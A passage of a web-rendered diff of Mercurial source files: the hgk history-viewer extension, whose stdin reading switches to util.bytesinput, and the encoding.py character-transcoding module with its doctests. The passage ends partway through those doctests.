Show More
@@ -1,350 +1,351 b'' | |||
|
1 | 1 | # Minimal support for git commands on an hg repository |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005, 2006 Chris Mason <mason@suse.com> |
|
4 | 4 | # |
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | |
|
8 | 8 | '''browse the repository in a graphical way |
|
9 | 9 | |
|
10 | 10 | The hgk extension allows browsing the history of a repository in a |
|
11 | 11 | graphical way. It requires Tcl/Tk version 8.4 or later. (Tcl/Tk is not |
|
12 | 12 | distributed with Mercurial.) |
|
13 | 13 | |
|
14 | 14 | hgk consists of two parts: a Tcl script that does the displaying and |
|
15 | 15 | querying of information, and an extension to Mercurial named hgk.py, |
|
16 | 16 | which provides hooks for hgk to get information. hgk can be found in |
|
17 | 17 | the contrib directory, and the extension is shipped in the hgext |
|
18 | 18 | repository, and needs to be enabled. |
|
19 | 19 | |
|
20 | 20 | The :hg:`view` command will launch the hgk Tcl script. For this command |
|
21 | 21 | to work, hgk must be in your search path. Alternately, you can specify |
|
22 | 22 | the path to hgk in your configuration file:: |
|
23 | 23 | |
|
24 | 24 | [hgk] |
|
25 | 25 | path = /location/of/hgk |
|
26 | 26 | |
|
27 | 27 | hgk can make use of the extdiff extension to visualize revisions. |
|
28 | 28 | Assuming you had already configured extdiff vdiff command, just add:: |
|
29 | 29 | |
|
30 | 30 | [hgk] |
|
31 | 31 | vdiff=vdiff |
|
32 | 32 | |
|
33 | 33 | Revisions context menu will now display additional entries to fire |
|
34 | 34 | vdiff on hovered and selected revisions. |
|
35 | 35 | ''' |
|
36 | 36 | |
|
37 | 37 | from __future__ import absolute_import |
|
38 | 38 | |
|
39 | 39 | import os |
|
40 | 40 | |
|
41 | 41 | from mercurial.i18n import _ |
|
42 | 42 | from mercurial.node import ( |
|
43 | 43 | nullid, |
|
44 | 44 | nullrev, |
|
45 | 45 | short, |
|
46 | 46 | ) |
|
47 | 47 | from mercurial import ( |
|
48 | 48 | commands, |
|
49 | 49 | obsolete, |
|
50 | 50 | patch, |
|
51 | 51 | registrar, |
|
52 | 52 | scmutil, |
|
53 | util, | |
|
53 | 54 | ) |
|
54 | 55 | |
|
55 | 56 | cmdtable = {} |
|
56 | 57 | command = registrar.command(cmdtable) |
|
57 | 58 | # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for |
|
58 | 59 | # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should |
|
59 | 60 | # be specifying the version(s) of Mercurial they are tested with, or |
|
60 | 61 | # leave the attribute unspecified. |
|
61 | 62 | testedwith = 'ships-with-hg-core' |
|
62 | 63 | |
|
63 | 64 | @command('debug-diff-tree', |
|
64 | 65 | [('p', 'patch', None, _('generate patch')), |
|
65 | 66 | ('r', 'recursive', None, _('recursive')), |
|
66 | 67 | ('P', 'pretty', None, _('pretty')), |
|
67 | 68 | ('s', 'stdin', None, _('stdin')), |
|
68 | 69 | ('C', 'copy', None, _('detect copies')), |
|
69 | 70 | ('S', 'search', "", _('search'))], |
|
70 | 71 | ('[OPTION]... NODE1 NODE2 [FILE]...'), |
|
71 | 72 | inferrepo=True) |
|
72 | 73 | def difftree(ui, repo, node1=None, node2=None, *files, **opts): |
|
73 | 74 | """diff trees from two commits""" |
|
74 | 75 | def __difftree(repo, node1, node2, files=None): |
|
75 | 76 | assert node2 is not None |
|
76 | 77 | if files is None: |
|
77 | 78 | files = [] |
|
78 | 79 | mmap = repo[node1].manifest() |
|
79 | 80 | mmap2 = repo[node2].manifest() |
|
80 | 81 | m = scmutil.match(repo[node1], files) |
|
81 | 82 | modified, added, removed = repo.status(node1, node2, m)[:3] |
|
82 | 83 | empty = short(nullid) |
|
83 | 84 | |
|
84 | 85 | for f in modified: |
|
85 | 86 | # TODO get file permissions |
|
86 | 87 | ui.write((":100664 100664 %s %s M\t%s\t%s\n") % |
|
87 | 88 | (short(mmap[f]), short(mmap2[f]), f, f)) |
|
88 | 89 | for f in added: |
|
89 | 90 | ui.write((":000000 100664 %s %s N\t%s\t%s\n") % |
|
90 | 91 | (empty, short(mmap2[f]), f, f)) |
|
91 | 92 | for f in removed: |
|
92 | 93 | ui.write((":100664 000000 %s %s D\t%s\t%s\n") % |
|
93 | 94 | (short(mmap[f]), empty, f, f)) |
|
94 | 95 | ## |
|
95 | 96 | |
|
96 | 97 | while True: |
|
97 | 98 | if opts['stdin']: |
|
98 | 99 | try: |
|
99 |
line = |
|
|
100 | line = util.bytesinput(ui.fin, ui.fout).split(' ') | |
|
100 | 101 | node1 = line[0] |
|
101 | 102 | if len(line) > 1: |
|
102 | 103 | node2 = line[1] |
|
103 | 104 | else: |
|
104 | 105 | node2 = None |
|
105 | 106 | except EOFError: |
|
106 | 107 | break |
|
107 | 108 | node1 = repo.lookup(node1) |
|
108 | 109 | if node2: |
|
109 | 110 | node2 = repo.lookup(node2) |
|
110 | 111 | else: |
|
111 | 112 | node2 = node1 |
|
112 | 113 | node1 = repo.changelog.parents(node1)[0] |
|
113 | 114 | if opts['patch']: |
|
114 | 115 | if opts['pretty']: |
|
115 | 116 | catcommit(ui, repo, node2, "") |
|
116 | 117 | m = scmutil.match(repo[node1], files) |
|
117 | 118 | diffopts = patch.difffeatureopts(ui) |
|
118 | 119 | diffopts.git = True |
|
119 | 120 | chunks = patch.diff(repo, node1, node2, match=m, |
|
120 | 121 | opts=diffopts) |
|
121 | 122 | for chunk in chunks: |
|
122 | 123 | ui.write(chunk) |
|
123 | 124 | else: |
|
124 | 125 | __difftree(repo, node1, node2, files=files) |
|
125 | 126 | if not opts['stdin']: |
|
126 | 127 | break |
|
127 | 128 | |
|
128 | 129 | def catcommit(ui, repo, n, prefix, ctx=None): |
|
129 | 130 | nlprefix = '\n' + prefix |
|
130 | 131 | if ctx is None: |
|
131 | 132 | ctx = repo[n] |
|
132 | 133 | # use ctx.node() instead ?? |
|
133 | 134 | ui.write(("tree %s\n" % short(ctx.changeset()[0]))) |
|
134 | 135 | for p in ctx.parents(): |
|
135 | 136 | ui.write(("parent %s\n" % p)) |
|
136 | 137 | |
|
137 | 138 | date = ctx.date() |
|
138 | 139 | description = ctx.description().replace("\0", "") |
|
139 | 140 | ui.write(("author %s %s %s\n" % (ctx.user(), int(date[0]), date[1]))) |
|
140 | 141 | |
|
141 | 142 | if 'committer' in ctx.extra(): |
|
142 | 143 | ui.write(("committer %s\n" % ctx.extra()['committer'])) |
|
143 | 144 | |
|
144 | 145 | ui.write(("revision %d\n" % ctx.rev())) |
|
145 | 146 | ui.write(("branch %s\n" % ctx.branch())) |
|
146 | 147 | if obsolete.isenabled(repo, obsolete.createmarkersopt): |
|
147 | 148 | if ctx.obsolete(): |
|
148 | 149 | ui.write(("obsolete\n")) |
|
149 | 150 | ui.write(("phase %s\n\n" % ctx.phasestr())) |
|
150 | 151 | |
|
151 | 152 | if prefix != "": |
|
152 | 153 | ui.write("%s%s\n" % (prefix, |
|
153 | 154 | description.replace('\n', nlprefix).strip())) |
|
154 | 155 | else: |
|
155 | 156 | ui.write(description + "\n") |
|
156 | 157 | if prefix: |
|
157 | 158 | ui.write('\0') |
|
158 | 159 | |
|
159 | 160 | @command('debug-merge-base', [], _('REV REV')) |
|
160 | 161 | def base(ui, repo, node1, node2): |
|
161 | 162 | """output common ancestor information""" |
|
162 | 163 | node1 = repo.lookup(node1) |
|
163 | 164 | node2 = repo.lookup(node2) |
|
164 | 165 | n = repo.changelog.ancestor(node1, node2) |
|
165 | 166 | ui.write(short(n) + "\n") |
|
166 | 167 | |
|
167 | 168 | @command('debug-cat-file', |
|
168 | 169 | [('s', 'stdin', None, _('stdin'))], |
|
169 | 170 | _('[OPTION]... TYPE FILE'), |
|
170 | 171 | inferrepo=True) |
|
171 | 172 | def catfile(ui, repo, type=None, r=None, **opts): |
|
172 | 173 | """cat a specific revision""" |
|
173 | 174 | # in stdin mode, every line except the commit is prefixed with two |
|
174 | 175 | # spaces. This way the our caller can find the commit without magic |
|
175 | 176 | # strings |
|
176 | 177 | # |
|
177 | 178 | prefix = "" |
|
178 | 179 | if opts['stdin']: |
|
179 | 180 | try: |
|
180 |
(type, r) = |
|
|
181 | (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ') | |
|
181 | 182 | prefix = " " |
|
182 | 183 | except EOFError: |
|
183 | 184 | return |
|
184 | 185 | |
|
185 | 186 | else: |
|
186 | 187 | if not type or not r: |
|
187 | 188 | ui.warn(_("cat-file: type or revision not supplied\n")) |
|
188 | 189 | commands.help_(ui, 'cat-file') |
|
189 | 190 | |
|
190 | 191 | while r: |
|
191 | 192 | if type != "commit": |
|
192 | 193 | ui.warn(_("aborting hg cat-file only understands commits\n")) |
|
193 | 194 | return 1 |
|
194 | 195 | n = repo.lookup(r) |
|
195 | 196 | catcommit(ui, repo, n, prefix) |
|
196 | 197 | if opts['stdin']: |
|
197 | 198 | try: |
|
198 |
(type, r) = |
|
|
199 | (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ') | |
|
199 | 200 | except EOFError: |
|
200 | 201 | break |
|
201 | 202 | else: |
|
202 | 203 | break |
|
203 | 204 | |
|
204 | 205 | # git rev-tree is a confusing thing. You can supply a number of |
|
205 | 206 | # commit sha1s on the command line, and it walks the commit history |
|
206 | 207 | # telling you which commits are reachable from the supplied ones via |
|
207 | 208 | # a bitmask based on arg position. |
|
208 | 209 | # you can specify a commit to stop at by starting the sha1 with ^ |
|
209 | 210 | def revtree(ui, args, repo, full="tree", maxnr=0, parents=False): |
|
210 | 211 | def chlogwalk(): |
|
211 | 212 | count = len(repo) |
|
212 | 213 | i = count |
|
213 | 214 | l = [0] * 100 |
|
214 | 215 | chunk = 100 |
|
215 | 216 | while True: |
|
216 | 217 | if chunk > i: |
|
217 | 218 | chunk = i |
|
218 | 219 | i = 0 |
|
219 | 220 | else: |
|
220 | 221 | i -= chunk |
|
221 | 222 | |
|
222 | 223 | for x in xrange(chunk): |
|
223 | 224 | if i + x >= count: |
|
224 | 225 | l[chunk - x:] = [0] * (chunk - x) |
|
225 | 226 | break |
|
226 | 227 | if full is not None: |
|
227 | 228 | if (i + x) in repo: |
|
228 | 229 | l[x] = repo[i + x] |
|
229 | 230 | l[x].changeset() # force reading |
|
230 | 231 | else: |
|
231 | 232 | if (i + x) in repo: |
|
232 | 233 | l[x] = 1 |
|
233 | 234 | for x in xrange(chunk - 1, -1, -1): |
|
234 | 235 | if l[x] != 0: |
|
235 | 236 | yield (i + x, full is not None and l[x] or None) |
|
236 | 237 | if i == 0: |
|
237 | 238 | break |
|
238 | 239 | |
|
239 | 240 | # calculate and return the reachability bitmask for sha |
|
240 | 241 | def is_reachable(ar, reachable, sha): |
|
241 | 242 | if len(ar) == 0: |
|
242 | 243 | return 1 |
|
243 | 244 | mask = 0 |
|
244 | 245 | for i in xrange(len(ar)): |
|
245 | 246 | if sha in reachable[i]: |
|
246 | 247 | mask |= 1 << i |
|
247 | 248 | |
|
248 | 249 | return mask |
|
249 | 250 | |
|
250 | 251 | reachable = [] |
|
251 | 252 | stop_sha1 = [] |
|
252 | 253 | want_sha1 = [] |
|
253 | 254 | count = 0 |
|
254 | 255 | |
|
255 | 256 | # figure out which commits they are asking for and which ones they |
|
256 | 257 | # want us to stop on |
|
257 | 258 | for i, arg in enumerate(args): |
|
258 | 259 | if arg.startswith('^'): |
|
259 | 260 | s = repo.lookup(arg[1:]) |
|
260 | 261 | stop_sha1.append(s) |
|
261 | 262 | want_sha1.append(s) |
|
262 | 263 | elif arg != 'HEAD': |
|
263 | 264 | want_sha1.append(repo.lookup(arg)) |
|
264 | 265 | |
|
265 | 266 | # calculate the graph for the supplied commits |
|
266 | 267 | for i, n in enumerate(want_sha1): |
|
267 | 268 | reachable.append(set()) |
|
268 | 269 | visit = [n] |
|
269 | 270 | reachable[i].add(n) |
|
270 | 271 | while visit: |
|
271 | 272 | n = visit.pop(0) |
|
272 | 273 | if n in stop_sha1: |
|
273 | 274 | continue |
|
274 | 275 | for p in repo.changelog.parents(n): |
|
275 | 276 | if p not in reachable[i]: |
|
276 | 277 | reachable[i].add(p) |
|
277 | 278 | visit.append(p) |
|
278 | 279 | if p in stop_sha1: |
|
279 | 280 | continue |
|
280 | 281 | |
|
281 | 282 | # walk the repository looking for commits that are in our |
|
282 | 283 | # reachability graph |
|
283 | 284 | for i, ctx in chlogwalk(): |
|
284 | 285 | if i not in repo: |
|
285 | 286 | continue |
|
286 | 287 | n = repo.changelog.node(i) |
|
287 | 288 | mask = is_reachable(want_sha1, reachable, n) |
|
288 | 289 | if mask: |
|
289 | 290 | parentstr = "" |
|
290 | 291 | if parents: |
|
291 | 292 | pp = repo.changelog.parents(n) |
|
292 | 293 | if pp[0] != nullid: |
|
293 | 294 | parentstr += " " + short(pp[0]) |
|
294 | 295 | if pp[1] != nullid: |
|
295 | 296 | parentstr += " " + short(pp[1]) |
|
296 | 297 | if not full: |
|
297 | 298 | ui.write("%s%s\n" % (short(n), parentstr)) |
|
298 | 299 | elif full == "commit": |
|
299 | 300 | ui.write("%s%s\n" % (short(n), parentstr)) |
|
300 | 301 | catcommit(ui, repo, n, ' ', ctx) |
|
301 | 302 | else: |
|
302 | 303 | (p1, p2) = repo.changelog.parents(n) |
|
303 | 304 | (h, h1, h2) = map(short, (n, p1, p2)) |
|
304 | 305 | (i1, i2) = map(repo.changelog.rev, (p1, p2)) |
|
305 | 306 | |
|
306 | 307 | date = ctx.date()[0] |
|
307 | 308 | ui.write("%s %s:%s" % (date, h, mask)) |
|
308 | 309 | mask = is_reachable(want_sha1, reachable, p1) |
|
309 | 310 | if i1 != nullrev and mask > 0: |
|
310 | 311 | ui.write("%s:%s " % (h1, mask)), |
|
311 | 312 | mask = is_reachable(want_sha1, reachable, p2) |
|
312 | 313 | if i2 != nullrev and mask > 0: |
|
313 | 314 | ui.write("%s:%s " % (h2, mask)) |
|
314 | 315 | ui.write("\n") |
|
315 | 316 | if maxnr and count >= maxnr: |
|
316 | 317 | break |
|
317 | 318 | count += 1 |
|
318 | 319 | |
|
319 | 320 | # git rev-list tries to order things by date, and has the ability to stop |
|
320 | 321 | # at a given commit without walking the whole repo. TODO add the stop |
|
321 | 322 | # parameter |
|
322 | 323 | @command('debug-rev-list', |
|
323 | 324 | [('H', 'header', None, _('header')), |
|
324 | 325 | ('t', 'topo-order', None, _('topo-order')), |
|
325 | 326 | ('p', 'parents', None, _('parents')), |
|
326 | 327 | ('n', 'max-count', 0, _('max-count'))], |
|
327 | 328 | ('[OPTION]... REV...')) |
|
328 | 329 | def revlist(ui, repo, *revs, **opts): |
|
329 | 330 | """print revisions""" |
|
330 | 331 | if opts['header']: |
|
331 | 332 | full = "commit" |
|
332 | 333 | else: |
|
333 | 334 | full = None |
|
334 | 335 | copy = [x for x in revs] |
|
335 | 336 | revtree(ui, copy, repo, full, opts['max_count'], opts['parents']) |
|
336 | 337 | |
|
337 | 338 | @command('view', |
|
338 | 339 | [('l', 'limit', '', |
|
339 | 340 | _('limit number of changes displayed'), _('NUM'))], |
|
340 | 341 | _('[-l LIMIT] [REVRANGE]')) |
|
341 | 342 | def view(ui, repo, *etc, **opts): |
|
342 | 343 | "start interactive history viewer" |
|
343 | 344 | os.chdir(repo.root) |
|
344 | 345 | optstr = ' '.join(['--%s %s' % (k, v) for k, v in opts.iteritems() if v]) |
|
345 | 346 | if repo.filtername is None: |
|
346 | 347 | optstr += '--hidden' |
|
347 | 348 | |
|
348 | 349 | cmd = ui.config("hgk", "path", "hgk") + " %s %s" % (optstr, " ".join(etc)) |
|
349 | 350 | ui.debug("running %s\n" % cmd) |
|
350 | 351 | ui.system(cmd, blockedtag='hgk_view') |
@@ -1,575 +1,589 b'' | |||
|
1 | 1 | # encoding.py - character transcoding support for Mercurial |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others |
|
4 | 4 | # |
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | |
|
8 | 8 | from __future__ import absolute_import |
|
9 | 9 | |
|
10 | 10 | import array |
|
11 | import io | |
|
11 | 12 | import locale |
|
12 | 13 | import os |
|
13 | 14 | import unicodedata |
|
14 | 15 | |
|
15 | 16 | from . import ( |
|
16 | 17 | error, |
|
17 | 18 | policy, |
|
18 | 19 | pycompat, |
|
19 | 20 | ) |
|
20 | 21 | |
|
21 | 22 | charencode = policy.importmod(r'charencode') |
|
22 | 23 | |
|
23 | 24 | asciilower = charencode.asciilower |
|
24 | 25 | asciiupper = charencode.asciiupper |
|
25 | 26 | |
|
26 | 27 | _sysstr = pycompat.sysstr |
|
27 | 28 | |
|
28 | 29 | if pycompat.ispy3: |
|
29 | 30 | unichr = chr |
|
30 | 31 | |
|
31 | 32 | # These unicode characters are ignored by HFS+ (Apple Technote 1150, |
|
32 | 33 | # "Unicode Subtleties"), so we need to ignore them in some places for |
|
33 | 34 | # sanity. |
|
34 | 35 | _ignore = [unichr(int(x, 16)).encode("utf-8") for x in |
|
35 | 36 | "200c 200d 200e 200f 202a 202b 202c 202d 202e " |
|
36 | 37 | "206a 206b 206c 206d 206e 206f feff".split()] |
|
37 | 38 | # verify the next function will work |
|
38 | 39 | assert all(i.startswith(("\xe2", "\xef")) for i in _ignore) |
|
39 | 40 | |
|
40 | 41 | def hfsignoreclean(s): |
|
41 | 42 | """Remove codepoints ignored by HFS+ from s. |
|
42 | 43 | |
|
43 | 44 | >>> hfsignoreclean(u'.h\u200cg'.encode('utf-8')) |
|
44 | 45 | '.hg' |
|
45 | 46 | >>> hfsignoreclean(u'.h\ufeffg'.encode('utf-8')) |
|
46 | 47 | '.hg' |
|
47 | 48 | """ |
|
48 | 49 | if "\xe2" in s or "\xef" in s: |
|
49 | 50 | for c in _ignore: |
|
50 | 51 | s = s.replace(c, '') |
|
51 | 52 | return s |
|
52 | 53 | |
|
53 | 54 | # encoding.environ is provided read-only, which may not be used to modify |
|
54 | 55 | # the process environment |
|
55 | 56 | _nativeenviron = (not pycompat.ispy3 or os.supports_bytes_environ) |
|
56 | 57 | if not pycompat.ispy3: |
|
57 | 58 | environ = os.environ # re-exports |
|
58 | 59 | elif _nativeenviron: |
|
59 | 60 | environ = os.environb # re-exports |
|
60 | 61 | else: |
|
61 | 62 | # preferred encoding isn't known yet; use utf-8 to avoid unicode error |
|
62 | 63 | # and recreate it once encoding is settled |
|
63 | 64 | environ = dict((k.encode(u'utf-8'), v.encode(u'utf-8')) |
|
64 | 65 | for k, v in os.environ.items()) # re-exports |
|
65 | 66 | |
|
66 | 67 | _encodingfixers = { |
|
67 | 68 | '646': lambda: 'ascii', |
|
68 | 69 | 'ANSI_X3.4-1968': lambda: 'ascii', |
|
69 | 70 | } |
|
70 | 71 | |
|
71 | 72 | try: |
|
72 | 73 | encoding = environ.get("HGENCODING") |
|
73 | 74 | if not encoding: |
|
74 | 75 | encoding = locale.getpreferredencoding().encode('ascii') or 'ascii' |
|
75 | 76 | encoding = _encodingfixers.get(encoding, lambda: encoding)() |
|
76 | 77 | except locale.Error: |
|
77 | 78 | encoding = 'ascii' |
|
78 | 79 | encodingmode = environ.get("HGENCODINGMODE", "strict") |
|
79 | 80 | fallbackencoding = 'ISO-8859-1' |
|
80 | 81 | |
|
81 | 82 | class localstr(bytes): |
|
82 | 83 | '''This class allows strings that are unmodified to be |
|
83 | 84 | round-tripped to the local encoding and back''' |
|
84 | 85 | def __new__(cls, u, l): |
|
85 | 86 | s = bytes.__new__(cls, l) |
|
86 | 87 | s._utf8 = u |
|
87 | 88 | return s |
|
88 | 89 | def __hash__(self): |
|
89 | 90 | return hash(self._utf8) # avoid collisions in local string space |
|
90 | 91 | |
|
91 | 92 | def tolocal(s): |
|
92 | 93 | """ |
|
93 | 94 | Convert a string from internal UTF-8 to local encoding |
|
94 | 95 | |
|
95 | 96 | All internal strings should be UTF-8 but some repos before the |
|
96 | 97 | implementation of locale support may contain latin1 or possibly |
|
97 | 98 | other character sets. We attempt to decode everything strictly |
|
98 | 99 | using UTF-8, then Latin-1, and failing that, we use UTF-8 and |
|
99 | 100 | replace unknown characters. |
|
100 | 101 | |
|
101 | 102 | The localstr class is used to cache the known UTF-8 encoding of |
|
102 | 103 | strings next to their local representation to allow lossless |
|
103 | 104 | round-trip conversion back to UTF-8. |
|
104 | 105 | |
|
105 | 106 | >>> u = 'foo: \\xc3\\xa4' # utf-8 |
|
106 | 107 | >>> l = tolocal(u) |
|
107 | 108 | >>> l |
|
108 | 109 | 'foo: ?' |
|
109 | 110 | >>> fromlocal(l) |
|
110 | 111 | 'foo: \\xc3\\xa4' |
|
111 | 112 | >>> u2 = 'foo: \\xc3\\xa1' |
|
112 | 113 | >>> d = { l: 1, tolocal(u2): 2 } |
|
113 | 114 | >>> len(d) # no collision |
|
114 | 115 | 2 |
|
115 | 116 | >>> 'foo: ?' in d |
|
116 | 117 | False |
|
117 | 118 | >>> l1 = 'foo: \\xe4' # historical latin1 fallback |
|
118 | 119 | >>> l = tolocal(l1) |
|
119 | 120 | >>> l |
|
120 | 121 | 'foo: ?' |
|
121 | 122 | >>> fromlocal(l) # magically in utf-8 |
|
122 | 123 | 'foo: \\xc3\\xa4' |
|
123 | 124 | """ |
|
124 | 125 | |
|
125 | 126 | try: |
|
126 | 127 | try: |
|
127 | 128 | # make sure string is actually stored in UTF-8 |
|
128 | 129 | u = s.decode('UTF-8') |
|
129 | 130 | if encoding == 'UTF-8': |
|
130 | 131 | # fast path |
|
131 | 132 | return s |
|
132 | 133 | r = u.encode(_sysstr(encoding), u"replace") |
|
133 | 134 | if u == r.decode(_sysstr(encoding)): |
|
134 | 135 | # r is a safe, non-lossy encoding of s |
|
135 | 136 | return r |
|
136 | 137 | return localstr(s, r) |
|
137 | 138 | except UnicodeDecodeError: |
|
138 | 139 | # we should only get here if we're looking at an ancient changeset |
|
139 | 140 | try: |
|
140 | 141 | u = s.decode(_sysstr(fallbackencoding)) |
|
141 | 142 | r = u.encode(_sysstr(encoding), u"replace") |
|
142 | 143 | if u == r.decode(_sysstr(encoding)): |
|
143 | 144 | # r is a safe, non-lossy encoding of s |
|
144 | 145 | return r |
|
145 | 146 | return localstr(u.encode('UTF-8'), r) |
|
146 | 147 | except UnicodeDecodeError: |
|
147 | 148 | u = s.decode("utf-8", "replace") # last ditch |
|
148 | 149 | # can't round-trip |
|
149 | 150 | return u.encode(_sysstr(encoding), u"replace") |
|
150 | 151 | except LookupError as k: |
|
151 | 152 | raise error.Abort(k, hint="please check your locale settings") |
|
152 | 153 | |
|
153 | 154 | def fromlocal(s): |
|
154 | 155 | """ |
|
155 | 156 | Convert a string from the local character encoding to UTF-8 |
|
156 | 157 | |
|
157 | 158 | We attempt to decode strings using the encoding mode set by |
|
158 | 159 | HGENCODINGMODE, which defaults to 'strict'. In this mode, unknown |
|
159 | 160 | characters will cause an error message. Other modes include |
|
160 | 161 | 'replace', which replaces unknown characters with a special |
|
161 | 162 | Unicode character, and 'ignore', which drops the character. |
|
162 | 163 | """ |
|
163 | 164 | |
|
164 | 165 | # can we do a lossless round-trip? |
|
165 | 166 | if isinstance(s, localstr): |
|
166 | 167 | return s._utf8 |
|
167 | 168 | |
|
168 | 169 | try: |
|
169 | 170 | u = s.decode(_sysstr(encoding), _sysstr(encodingmode)) |
|
170 | 171 | return u.encode("utf-8") |
|
171 | 172 | except UnicodeDecodeError as inst: |
|
172 | 173 | sub = s[max(0, inst.start - 10):inst.start + 10] |
|
173 | 174 | raise error.Abort("decoding near '%s': %s!" % (sub, inst)) |
|
174 | 175 | except LookupError as k: |
|
175 | 176 | raise error.Abort(k, hint="please check your locale settings") |
|
176 | 177 | |
|
177 | 178 | def unitolocal(u): |
|
178 | 179 | """Convert a unicode string to a byte string of local encoding""" |
|
179 | 180 | return tolocal(u.encode('utf-8')) |
|
180 | 181 | |
|
181 | 182 | def unifromlocal(s): |
|
182 | 183 | """Convert a byte string of local encoding to a unicode string""" |
|
183 | 184 | return fromlocal(s).decode('utf-8') |
|
184 | 185 | |
|
185 | 186 | def unimethod(bytesfunc): |
|
186 | 187 | """Create a proxy method that forwards __unicode__() and __str__() of |
|
187 | 188 | Python 3 to __bytes__()""" |
|
188 | 189 | def unifunc(obj): |
|
189 | 190 | return unifromlocal(bytesfunc(obj)) |
|
190 | 191 | return unifunc |
|
191 | 192 | |
|
192 | 193 | # converter functions between native str and byte string. use these if the |
|
193 | 194 | # character encoding is not aware (e.g. exception message) or is known to |
|
194 | 195 | # be locale dependent (e.g. date formatting.) |
|
195 | 196 | if pycompat.ispy3: |
|
196 | 197 | strtolocal = unitolocal |
|
197 | 198 | strfromlocal = unifromlocal |
|
198 | 199 | strmethod = unimethod |
|
199 | 200 | else: |
|
200 | 201 | strtolocal = pycompat.identity |
|
201 | 202 | strfromlocal = pycompat.identity |
|
202 | 203 | strmethod = pycompat.identity |
|
203 | 204 | |
|
204 | 205 | if not _nativeenviron: |
|
205 | 206 | # now encoding and helper functions are available, recreate the environ |
|
206 | 207 | # dict to be exported to other modules |
|
207 | 208 | environ = dict((tolocal(k.encode(u'utf-8')), tolocal(v.encode(u'utf-8'))) |
|
208 | 209 | for k, v in os.environ.items()) # re-exports |
|
209 | 210 | |
|
210 | 211 | # How to treat ambiguous-width characters. Set to 'wide' to treat as wide. |
|
211 | 212 | _wide = _sysstr(environ.get("HGENCODINGAMBIGUOUS", "narrow") == "wide" |
|
212 | 213 | and "WFA" or "WF") |
|
213 | 214 | |
|
214 | 215 | def colwidth(s): |
|
215 | 216 | "Find the column width of a string for display in the local encoding" |
|
216 | 217 | return ucolwidth(s.decode(_sysstr(encoding), u'replace')) |
|
217 | 218 | |
|
218 | 219 | def ucolwidth(d): |
|
219 | 220 | "Find the column width of a Unicode string for display" |
|
220 | 221 | eaw = getattr(unicodedata, 'east_asian_width', None) |
|
221 | 222 | if eaw is not None: |
|
222 | 223 | return sum([eaw(c) in _wide and 2 or 1 for c in d]) |
|
223 | 224 | return len(d) |
|
224 | 225 | |
|
225 | 226 | def getcols(s, start, c): |
|
226 | 227 | '''Use colwidth to find a c-column substring of s starting at byte |
|
227 | 228 | index start''' |
|
228 | 229 | for x in xrange(start + c, len(s)): |
|
229 | 230 | t = s[start:x] |
|
230 | 231 | if colwidth(t) == c: |
|
231 | 232 | return t |
|
232 | 233 | |
|
233 | 234 | def trim(s, width, ellipsis='', leftside=False): |
|
234 | 235 | """Trim string 's' to at most 'width' columns (including 'ellipsis'). |
|
235 | 236 | |
|
236 | 237 | If 'leftside' is True, left side of string 's' is trimmed. |
|
237 | 238 | 'ellipsis' is always placed at trimmed side. |
|
238 | 239 | |
|
239 | 240 | >>> ellipsis = '+++' |
|
240 | 241 | >>> from . import encoding |
|
241 | 242 | >>> encoding.encoding = 'utf-8' |
|
242 | 243 | >>> t= '1234567890' |
|
243 | 244 | >>> print trim(t, 12, ellipsis=ellipsis) |
|
244 | 245 | 1234567890 |
|
245 | 246 | >>> print trim(t, 10, ellipsis=ellipsis) |
|
246 | 247 | 1234567890 |
|
247 | 248 | >>> print trim(t, 8, ellipsis=ellipsis) |
|
248 | 249 | 12345+++ |
|
249 | 250 | >>> print trim(t, 8, ellipsis=ellipsis, leftside=True) |
|
250 | 251 | +++67890 |
|
251 | 252 | >>> print trim(t, 8) |
|
252 | 253 | 12345678 |
|
253 | 254 | >>> print trim(t, 8, leftside=True) |
|
254 | 255 | 34567890 |
|
255 | 256 | >>> print trim(t, 3, ellipsis=ellipsis) |
|
256 | 257 | +++ |
|
257 | 258 | >>> print trim(t, 1, ellipsis=ellipsis) |
|
258 | 259 | + |
|
259 | 260 | >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns |
|
260 | 261 | >>> t = u.encode(encoding.encoding) |
|
261 | 262 | >>> print trim(t, 12, ellipsis=ellipsis) |
|
262 | 263 | \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a |
|
263 | 264 | >>> print trim(t, 10, ellipsis=ellipsis) |
|
264 | 265 | \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a |
|
265 | 266 | >>> print trim(t, 8, ellipsis=ellipsis) |
|
266 | 267 | \xe3\x81\x82\xe3\x81\x84+++ |
|
267 | 268 | >>> print trim(t, 8, ellipsis=ellipsis, leftside=True) |
|
268 | 269 | +++\xe3\x81\x88\xe3\x81\x8a |
|
269 | 270 | >>> print trim(t, 5) |
|
270 | 271 | \xe3\x81\x82\xe3\x81\x84 |
|
271 | 272 | >>> print trim(t, 5, leftside=True) |
|
272 | 273 | \xe3\x81\x88\xe3\x81\x8a |
|
273 | 274 | >>> print trim(t, 4, ellipsis=ellipsis) |
|
274 | 275 | +++ |
|
275 | 276 | >>> print trim(t, 4, ellipsis=ellipsis, leftside=True) |
|
276 | 277 | +++ |
|
277 | 278 | >>> t = '\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence |
|
278 | 279 | >>> print trim(t, 12, ellipsis=ellipsis) |
|
279 | 280 | \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa |
|
280 | 281 | >>> print trim(t, 10, ellipsis=ellipsis) |
|
281 | 282 | \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa |
|
282 | 283 | >>> print trim(t, 8, ellipsis=ellipsis) |
|
283 | 284 | \x11\x22\x33\x44\x55+++ |
|
284 | 285 | >>> print trim(t, 8, ellipsis=ellipsis, leftside=True) |
|
285 | 286 | +++\x66\x77\x88\x99\xaa |
|
286 | 287 | >>> print trim(t, 8) |
|
